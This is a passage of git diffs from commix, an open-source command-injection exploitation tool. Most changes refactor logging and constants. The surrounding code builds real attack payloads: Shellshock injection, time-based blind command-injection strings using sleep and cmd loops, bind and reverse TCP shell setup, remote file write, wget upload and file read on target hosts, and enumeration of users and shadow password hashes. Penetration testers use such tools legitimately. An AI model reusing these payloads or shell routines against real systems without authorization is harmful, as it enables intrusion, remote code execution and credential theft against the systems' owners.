menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - print(settings.print_warning_msg(warn_msg)) - raise SystemExit() - - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - print(settings.print_warning_msg(warn_msg)) - settings.FILE_ACCESS_DONE = True - - #------------------------------- - # Check the file-destination - #------------------------------- - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - # Execute command - cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" + file_to_write, dest_to_write, content = checks.check_file_to_write() + cmd = checks.write_content(content, dest_to_write) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - - # Check if file exists! - cmd = "ls " + dest_to_write + "" - # Check if defined cookie injection. + cmd = checks.check_file(dest_to_write) + cmd = checks.remove_command_substitution(cmd) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell: - info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to write the '" - warn_msg += dest_to_write + "' file." - print(settings.print_warning_msg(warn_msg)) + checks.file_write_status(shell, dest_to_write) settings.FILE_ACCESS_DONE = True - #------------------------------------- - # Upload a file on the target host. - #------------------------------------- if menu.options.file_upload: - file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as warn_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, " - warn_msg += "does not exist. (" + str(warn_msg) + ")" - print(settings.print_critical_msg(warn_msg)) - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload + cmd, dest_to_upload = checks.check_file_to_upload() shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) - - # Check if file exists! - cmd = "ls " + dest_to_upload + cmd = checks.check_file(dest_to_upload) + cmd = checks.remove_command_substitution(cmd) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) - if shell: - info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to upload the '" + dest_to_upload + "' file." - print(settings.print_warning_msg(warn_msg)) + checks.file_upload_status(shell, dest_to_upload) settings.FILE_ACCESS_DONE = True - #------------------------------------- - # Read a file from the target host. - #------------------------------------- if menu.options.file_read: - file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching content of the file: '" - info_msg += file_to_read + "'." - print(settings.print_info_msg(info_msg)) - # Execute command - cmd = "cat " + settings.FILE_READ + file_to_read + cmd, file_to_read = checks.file_content_to_read() + cmd = checks.remove_command_substitution(cmd) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell: - _ = "Fetched file content" - print(settings.print_retrieved_data(_, shell)) - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Fetched file content '" - info_msg += file_to_read + "' : " + shell + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." - print(settings.print_warning_msg(warn_msg)) + checks.file_read_status(shell, file_to_read, filename) settings.FILE_ACCESS_DONE = True """ @@ -480,21 +189,17 @@ def execute_shell(url, cmd, cve, check_header, filename, os_shell_option): Configure the bind TCP shell """ def bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again): - settings.BIND_TCP = True # Set up RHOST / LPORT for the bind TCP connection. bind_tcp.configure_bind_tcp(separator = "") - if settings.BIND_TCP == False: if settings.REVERSE_TCP == True: os_shell_option = "reverse_tcp" reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) return go_back, go_back_again - while True: if settings.RHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_bind_tcp_options(settings.RHOST) - else: cmd = bind_tcp.bind_tcp_options(separator = "") result = checks.check_bind_tcp_options(cmd) @@ -505,7 +210,6 @@ def bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http go_back_again = True settings.BIND_TCP = False return go_back, go_back_again - # execute bind TCP shell execute_shell(url, cmd, cve, check_header, filename, os_shell_option) @@ -513,17 +217,14 @@ def bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http Configure the reverse TCP shell """ def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again): - settings.REVERSE_TCP = True # Set up LHOST / LPORT for the reverse TCP connection. reverse_tcp.configure_reverse_tcp(separator = "") - if settings.REVERSE_TCP == False: if settings.BIND_TCP == True: os_shell_option = "bind_tcp" bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) return go_back, go_back_again - while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options(settings.LHOST) @@ -537,7 +238,6 @@ def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, h go_back_again = True settings.REVERSE_TCP = False return go_back, go_back_again - # execute bind TCP shell execute_shell(url, cmd, cve, check_header, filename, os_shell_option) @@ -545,13 +245,15 @@ def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, h Check commix shell options """ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again,no_result): - if os_shell_option == False: if no_result == True: return False else: return True + if os_shell_option == None: + return go_back, go_back_again + # The "back" option elif os_shell_option == "back": go_back = True @@ -599,7 +301,7 @@ def shellshock_handler(url, http_request_method, filename): settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False i = i + 1 - attack_vector = "echo " + cve + ":Done;" + attack_vector = "echo" + " " + cve + ":Done;" payload = shellshock_payloads(cve, attack_vector) # Check if defined "--verbose" option. @@ -721,7 +423,7 @@ def shellshock_handler(url, http_request_method, filename): print(settings.print_retrieved_data(_, shell)) else: err_msg = "The execution of '" + cmd + "' command does not return any output." - print(settings.print_critical_msg(err_msg)) + print(settings.print_error_msg(err_msg)) try: # Pseudo-Terminal shell @@ -751,31 +453,29 @@ def shellshock_handler(url, http_request_method, filename): go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again, no_result) if go_back and go_back_again == False: break - else: - logs.logs_notification(filename) - return True + if go_back and go_back_again: + return True + # else: + # logs.logs_notification(filename) + # return True else: shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell != "": # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) - print(settings.SINGLE_WHITESPACE) - print(Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL) - print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(shell)) else: debug_msg = "Executing the '" + cmd + "' command. " if settings.VERBOSITY_LEVEL == 1: print(settings.print_debug_msg(debug_msg)) - print(settings.SINGLE_WHITESPACE) print(settings.print_payload(payload)) - print(settings.SINGLE_WHITESPACE) elif settings.VERBOSITY_LEVEL >= 2: print(settings.print_debug_msg(debug_msg)) - print(settings.SINGLE_WHITESPACE) sys.stdout.write(settings.print_payload(payload)) + if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) err_msg = "The execution of '" + cmd + "' command does not return any output." - print(settings.print_critical_msg(err_msg)) + print(settings.print_error_msg(err_msg)) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 94aca7f6f8..68651c5372 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -547,7 +547,6 @@ def configure_bind_tcp(separator): print(settings.print_error_msg(err_msg)) pass else: - print(settings.SINGLE_WHITESPACE) err_msg = "The '" + option + "' option, is not valid." print(settings.print_error_msg(err_msg)) pass diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index cb887c9905..bf7553a717 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -762,7 +762,6 @@ def configure_reverse_tcp(separator): print(settings.print_error_msg(err_msg)) pass else: - print(settings.SINGLE_WHITESPACE) err_msg = "The '" + option + "' option, is not valid." print(settings.print_error_msg(err_msg)) pass diff --git a/src/utils/settings.py b/src/utils/settings.py index 14389aeae3..acca6bfab3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "78" +REVISION = "79" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -534,10 +534,17 @@ def sys_argv_errors(): # File System access options # Read file FILE_READ = "cat " +FILE_WRITE_OPERATOR = " > " WIN_FILE_READ = "type " +# List file +FILE_LIST = "ls " +FILE_LIST_WIN = "dir " + +CERTUTIL_DECODE_CMD = "certutil -decode " + # Write file -FILE_WRITE = "echo " +FILE_WRITE = "printf " # Write file FILE_UPLOAD = "wget " From e7e2d61a59dab3690349fd0dafa2656e32fcc459 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 9 Jun 2022 09:03:41 +0300 Subject: [PATCH 156/560] Additional fixes / updates regarding commit https://github.com/commixproject/commix/commit/f7ca42f9967411c11ec0b2e16dbf38d1cbca42ee --- .../techniques/time_based/tb_enumeration.py | 49 +++----- .../techniques/time_based/tb_payloads.py | 10 +- src/core/injections/controller/checks.py | 117 ++++++++++++++---- src/core/injections/controller/parser.py | 2 +- .../techniques/classic/cb_enumeration.py | 52 +++----- .../techniques/eval_based/eb_enumeration.py | 65 ++++------ .../techniques/eval_based/eb_injector.py | 4 +- .../techniques/file_based/fb_enumeration.py | 51 +++----- .../techniques/file_based/fb_handler.py | 2 +- .../techniques/file_based/fb_payloads.py | 13 +- .../tempfile_based/tfb_enumeration.py | 47 +++---- .../techniques/tempfile_based/tfb_handler.py | 2 +- .../techniques/tempfile_based/tfb_payloads.py | 41 +++--- src/core/main.py | 11 +- src/core/modules/shellshock/shellshock.py | 47 +++---- src/core/shells/reverse_tcp.py | 10 +- src/utils/common.py | 2 +- src/utils/settings.py | 5 +- src/utils/simple_http_server.py | 2 +- 19 files changed, 251 insertions(+), 281 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index db2344bd2f..3dfdefbf87 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -35,7 +35,7 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, _ = False cmd = settings.PS_VERSION if alter_shell: - cmd = cmd.replace("'","\\'") + cmd = checks.escape_single_quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) @@ -91,7 +91,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) distro_name = output if len(distro_name) != 0: - target_os = target_os + " " + distro_name + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: @@ -146,12 +146,12 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites """ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False + cmd = settings.SYS_USERS if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" + cmd = settings.WIN_SYS_USERS + cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") - cmd = settings.SYS_USERS + cmd = checks.escape_single_quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: try: check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) @@ -185,8 +185,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti Single os-shell execution """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - info_msg = "Executing the user-supplied command: '" + cmd + "'." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_single_os_cmd_msg(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) @@ -196,12 +195,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) check_how_long = 0 - if len(output) > 1: - _ = "'" + cmd + "' execution output" - print(settings.print_retrieved_data(_, output)) - else: - err_msg = "The execution of '" + cmd + "' command does not return any output." - print(settings.print_error_msg(err_msg)) + checks.print_single_os_cmd(cmd, output) return check_how_long, output """ @@ -217,53 +211,42 @@ def reset(): if not checks.ps_incompatible_os(): if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching powershell version." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().ps_version_msg() powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.hostname: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching hostname." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().hostname_msg() hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.current_user: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching current user." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().current_user_msg() current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.is_root or menu.options.is_admin: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Testing if current user has excessive privileges." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().check_privs_msg() check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.sys_info: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching the underlying operating system information." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().os_info_msg() system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.users: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_users_msg() system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() @@ -274,9 +257,7 @@ def reset(): check_option = "--passwords" checks.unavailable_option(check_option) else: - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_passes_msg() system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index d90fdaf3ba..31c925517f 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -81,7 +81,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(output_length) + " -ne $(echo " + TAG + " " + + "[ " + str(output_length) + " -ne $(echo " + TAG + settings.SINGLE_WHITESPACE + pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + "sleep " + str(timesec) ) @@ -256,7 +256,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque payload = (separator + " " + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do if %i==" +str(output_length) + " " + + "') do if %i==" +str(output_length) + settings.SINGLE_WHITESPACE + "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" ) @@ -266,7 +266,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque payload = (ampersand + " " "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do if %i==" +str(output_length) + " " + + "') do if %i==" +str(output_length) + settings.SINGLE_WHITESPACE + "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" ) @@ -563,7 +563,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt payload = (separator + " " + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do if %i==" +str(ascii_char) + " " + + "') do if %i==" +str(ascii_char) + settings.SINGLE_WHITESPACE + "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" ) @@ -574,7 +574,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt payload = (ampersand + " " "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do if %i==" +str(ascii_char) + " " + + "') do if %i==" +str(ascii_char) + settings.SINGLE_WHITESPACE + "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" ) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 4d3f1f01fc..c5bc7578e1 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -246,7 +246,9 @@ def load_cmd_history(): warn_msg += "More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" print(settings.print_warning_msg(warn_msg)) -# If the value has boundaries. +""" +Check if the value has boundaries. +""" def value_boundaries(value): message = "It appears that the value '" + value + "' has boundaries. " message += "Do you want to inject inside? [Y/n] > " @@ -263,7 +265,9 @@ def value_boundaries(value): pass return value -# Ignoring the anti-CSRF parameter(s). +""" +Ignoring the anti-CSRF parameter(s). +""" def ignore_anticsrf_parameter(parameter): if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): info_msg = "Ignoring the parameter '" + parameter.split("=")[0] @@ -271,7 +275,9 @@ def ignore_anticsrf_parameter(parameter): print(settings.print_info_msg(info_msg)) return True -# Ignoring the Google analytics cookie parameter. +""" +Ignoring the Google analytics cookie parameter. +""" def ignore_google_analytics_cookie(cookie): if cookie.upper().startswith(settings.GOOGLE_ANALYTICS_COOKIE_PREFIX): info_msg = "Ignoring the Google analytics cookie parameter '" + cookie.split("=")[0] + "'." @@ -1623,7 +1629,7 @@ def check_similarities(all_params): if re.findall(r'', all_params[param]) == re.findall(r'>(.*)(.*)" + parameter_name + settings.RANDOM_TAG + "" + all_params[param] = "<" + parameter_name + settings.FILE_WRITE_OPERATOR + parameter_name + settings.RANDOM_TAG + "" else: if re.findall(r'(.*)=', all_params[param]) == re.findall(r'=(.*)', all_params[param]): parameter_name = re.findall(r'=(.*)', all_params[param]) @@ -1673,7 +1679,6 @@ def print_ps_version(ps_version, filename, _): settings.PS_ENABLED = False ps_check_failed() - """ Print hostname """ @@ -1751,6 +1756,46 @@ def print_os_info(target_os, target_arch, filename, _): warn_msg = "Heuristics have failed to fetch underlying operating system information." print(settings.print_warning_msg(warn_msg)) +""" +Print enumeration info msgs +""" +class print_enumenation(): + def ps_version_msg(self): + info_msg = "Fetching powershell version." + print(settings.print_info_msg(info_msg)) + + def hostname_msg(self): + info_msg = "Fetching hostname." + print(settings.print_info_msg(info_msg)) + + def current_user_msg(self): + info_msg = "Fetching current user." + print(settings.print_info_msg(info_msg)) + + def check_privs_msg(self): + info_msg = "Testing if current user has excessive privileges." + print(settings.print_info_msg(info_msg)) + + def os_info_msg(self): + info_msg = "Fetching the underlying operating system information." + print(settings.print_info_msg(info_msg)) + + def print_users_msg(self): + if settings.TARGET_OS == "win": + info_msg = "Executing the 'net users' command " + else: + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + "' " + info_msg += "in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) + + def print_passes_msg(self): + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + "' " + info_msg += "in order to enumerate users password hashes. " + print(settings.print_info_msg(info_msg)) + + def print_single_os_cmd_msg(self, cmd): + info_msg = "Executing the user-supplied command: '" + cmd + "'." + print(settings.print_info_msg(info_msg)) """ Print users enumeration. @@ -1759,7 +1804,7 @@ def print_users(sys_users, filename, _): # Windows users enumeration. if settings.TARGET_OS == "win": try: - if sys_users[0] : + if sys_users: sys_users = "".join(str(p) for p in sys_users).strip() sys.stdout.write(settings.SUCCESS_STATUS) sys_users_list = re.findall(r"(.*)", sys_users) @@ -1792,10 +1837,10 @@ def print_users(sys_users, filename, _): check_privs = "".join(str(p) for p in check_privs).strip() check_privs = check_privs.split() if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " admin user" is_privileged_nh = " is admin user " else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user" is_privileged_nh = " is regular user " else : is_privileged = "" @@ -1821,7 +1866,7 @@ def print_users(sys_users, filename, _): # Unix-like users enumeration. else: try: - if sys_users[0] : + if sys_users: sys_users = "".join(str(p) for p in sys_users).strip() if len(sys_users.split(" ")) <= 1 : sys_users = sys_users.split("\n") @@ -1867,20 +1912,20 @@ def print_users(sys_users, filename, _): raise ValueError() if menu.options.privileges: if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " root user " is_privileged_nh = " is root user " elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " system user " is_privileged_nh = " is system user " elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " anonymous user " is_privileged_nh = " is anonymous user " elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " non-trusted user " is_privileged_nh = " is non-trusted user " else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user " is_privileged_nh = " is regular user " else : is_privileged = "" @@ -1888,11 +1933,11 @@ def print_users(sys_users, filename, _): else : is_privileged = "" is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -1925,8 +1970,7 @@ def print_users(sys_users, filename, _): def print_passes(sys_passes, filename, _): if sys_passes == "": sys_passes = " " - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split() + sys_passes = sys_passes.replace(" ", "\n").split() if len(sys_passes) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) @@ -1968,6 +2012,17 @@ def print_passes(sys_passes, filename, _): warn_msg += settings.SHADOW_FILE + "' file." print(settings.print_warning_msg(warn_msg)) +""" +Print single OS command +""" +def print_single_os_cmd(cmd, shell): + if len(shell) > 1: + _ = "'" + cmd + "' execution output" + print(settings.print_retrieved_data(_, shell)) + else: + err_msg = "The execution of '" + cmd + "' command does not return any output." + print(settings.print_error_msg(err_msg)) + """ Quote provided cmd """ @@ -1975,6 +2030,13 @@ def quoted_cmd(cmd): cmd = "\"" + cmd + "\"" return cmd +""" +Escape single quoted cmd +""" +def escape_single_quoted_cmd(cmd): + cmd = cmd.replace("'","\\'") + return cmd + """ Find filename """ @@ -1989,7 +2051,14 @@ def find_filename(dest_to_write, content): Decode base 64 encoding """ def win_decode_b64_enc(fname, tmp_fname): - cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname + " " + fname + cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname + settings.SINGLE_WHITESPACE + fname + return cmd + +""" +Add command substitution on provided command +""" +def add_command_substitution(cmd): + cmd = "echo $(" + cmd + ")" return cmd """ @@ -1999,6 +2068,10 @@ def remove_command_substitution(cmd): cmd = cmd.replace("echo $(","").replace(")","") return cmd +def remove_parenthesis(cmd): + cmd = cmd.replace("(","").replace(")","") + return cmd + """ Write the file content """ @@ -2020,11 +2093,11 @@ def delete_tmp(tmp_fname): def check_file(dest_to_upload): if settings.TARGET_OS == "win": cmd = settings.FILE_LIST_WIN + dest_to_upload - else: - cmd = "echo $(" + settings.FILE_LIST + dest_to_upload + ")" + else: + cmd = settings.FILE_LIST + dest_to_upload + cmd = add_command_substitution(cmd) return cmd - """ Change directory """ diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index f06e8b04be..2cdd04b4f1 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -196,7 +196,7 @@ def invalid_data(request): if single_request: print(settings.SINGLE_WHITESPACE) if menu.options.logfile and settings.VERBOSITY_LEVEL != 0: - sub_content = http_method + " " + prefix + menu.options.host + request_url + sub_content = http_method + settings.SINGLE_WHITESPACE + prefix + menu.options.host + request_url print(settings.print_sub_content(sub_content)) if menu.options.cookie: sub_content = "Cookie: " + menu.options.cookie diff --git 